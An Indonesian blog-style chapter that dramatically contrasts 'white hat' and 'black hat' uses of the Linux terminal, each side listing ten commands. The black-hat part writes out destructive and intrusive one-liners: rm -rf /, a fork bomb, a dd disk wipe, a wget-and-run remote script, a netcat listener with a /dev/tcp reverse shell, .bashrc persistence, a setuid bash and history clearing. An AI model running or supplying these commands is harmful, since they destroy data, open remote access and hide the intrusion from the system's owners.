
π 1.4 Terminal Adalah Pintu Gerbang
βBagi kebanyakan orang, terminal adalah layar kosong.
Bagi hacker, terminal adalah dunia baru.β
Di saat mayoritas manusia mengandalkan klik dan sentuhan,
ada segelintir jiwa yang memilih jalur berbeda β
jalur teks. Jalur sunyi. Jalur logika murni.
Terminal bukan sekadar program.
Ia adalah jendela ke dalam struktur dunia digital.
Sebuah tempat di mana perintah sederhana bisa
membuka, memanipulasi, atau menghancurkan.
π§ Pintu Bagi Para Penjelajah Sistem
Bagi seorang white hat, terminal adalah alat kendali.
Dari sinilah ia memeriksa log, memperbaiki konfigurasi, memantau trafik, dan memperkuat sistem.
Terminal menjadi kanvas untuk keteraturan, tempat di mana baris perintah menciptakan keamanan.
Contoh perintah sederhana, tapi sangat penting:
ls
Menampilkan isi folder.
Dari sinilah pengamatan dimulai β mengetahui apa yang ada, sebelum bertindak.cat /var/log/auth.log
Membaca file log otentikasi.
White hat menggunakannya untuk melacak siapa yang masuk dan kapan.top
Melihat proses yang sedang berjalan.
Digunakan untuk memantau sistem secara real-time β melihat yang tak terlihat.
π³οΈ Jalan Masuk Bagi Bayangan
Namun bagi seorang black hat, terminal adalah jalan masuk ke tempat-tempat yang tersembunyi.
Dengan satu baris perintah, ia bisa:
cat /etc/passwd
Melihat struktur pengguna sistem β bisa menjadi titik awal eksploitasi akses.wget http://senihacking.com/shell.sh && bash shell.sh
Mengambil dan menjalankan shell dari luar β menciptakan jembatan masuk diam-diam.nc -nlvp 4444
danbash -i >& /dev/tcp/yourip/4444 0>&1
Membuat reverse shell β menyambungkan sistem korban ke perangkat attacker, tanpa disadari.
βDari balik layar hitam, dunia bisa dibuka paksa. Tanpa suara. Tanpa pintu.β
βοΈ Dua Tangan, Satu Alat
Terminal itu netral. Ia tidak tahu siapa kamu.
Ia tidak peduli apakah niatmu mulia atau licik.
Ia hanya menerima perintah.
Dan di sinilah seni dari kekuasaan digital:
- Kamu bisa menggunakannya untuk menghidupkan sistem,
systemctl restart apache2
- Atau untuk membunuh proses kehidupan di dalamnya,
rm -rf /
βTerminal tak pernah bertanya siapa kamu. Ia hanya mematuhi.β
β¨ Penutup Sub-Bab
Setiap baris yang kamu ketik di terminal adalah sebuah keputusan.
Apakah perintah itu akan menyelamatkan sistem…
…atau menghancurkannya?
Ketika kamu berdiri di depan prompt kosong itu,
kamu bukan lagi hanya pengguna.
Kamu adalah pencipta. Atau penghancur.
Dan terminal… hanyalah saksi bisu yang akan mematuhi semuanya.
βDi dunia teks dan diam, satu perintah bisa mengubah segalanya.β
π‘οΈ 10 Command Linux untuk Kebaikan (White Hat Style)
βDigunakan untuk menjaga, memantau, memperbaiki.β
ls -la
π Melihat isi direktori lengkap, termasuk file tersembunyi.top
π Monitoring sistem secara real-time.netstat -tuln
π Mengecek port terbuka dan layanan yang berjalan.ufw enable
π‘οΈ Mengaktifkan firewall sederhana di server.fail2ban-client status
π« Melihat status proteksi brute-force.chown
danchmod
π Mengatur izin akses file agar aman.journalctl -xe
π Melihat log error sistem secara detail.grep -i "error" /var/log/syslog
π§ Mencari kesalahan dalam log sistem.systemctl status nginx
βοΈ Memeriksa status layanan webserver.tcpdump -i eth0
π‘ Menganalisis lalu lintas jaringan, deteksi anomali.
β οΈ 10 Command Linux untuk Penghancuran (Black Hat Style)
βBukan perintah yang jahat. Tapi tangan yang menggunakannya bisa membawa kehancuran.β
rm -rf /
π£ Menghapus seluruh sistem β instan hancur.wget http://senihacking.com/shell.sh && bash shell.sh
π Menjalankan shell jahat dari luar server.:(){ :|:& };:
𧨠Fork bomb β membuat sistem crash dengan replikasi proses.dd if=/dev/zero of=/dev/sda
β οΈ Menghapus seluruh hard drive secara brutal.nc -nlvp 4444
π Menyiapkan listener untuk reverse shell.bash -i >& /dev/tcp/attackerip/4444 0>&1
π³οΈ Reverse shell β membuka akses masuk ke attacker.echo "malicious_command" >> ~/.bashrc
π Menyisipkan script jahat agar jalan tiap login.chmod +s /bin/bash
π οΈ Menjadikan bash sebagai shell root tersembunyi.history -c
π§Ή Menghapus jejak aktivitas command line.pkill -u
senihacking
β Mematikan semua proses milik user target.
βPerintah adalah alat. Tapi niatmu adalah peluru. Terminal hanya menjalankan… bukan menghakimi.β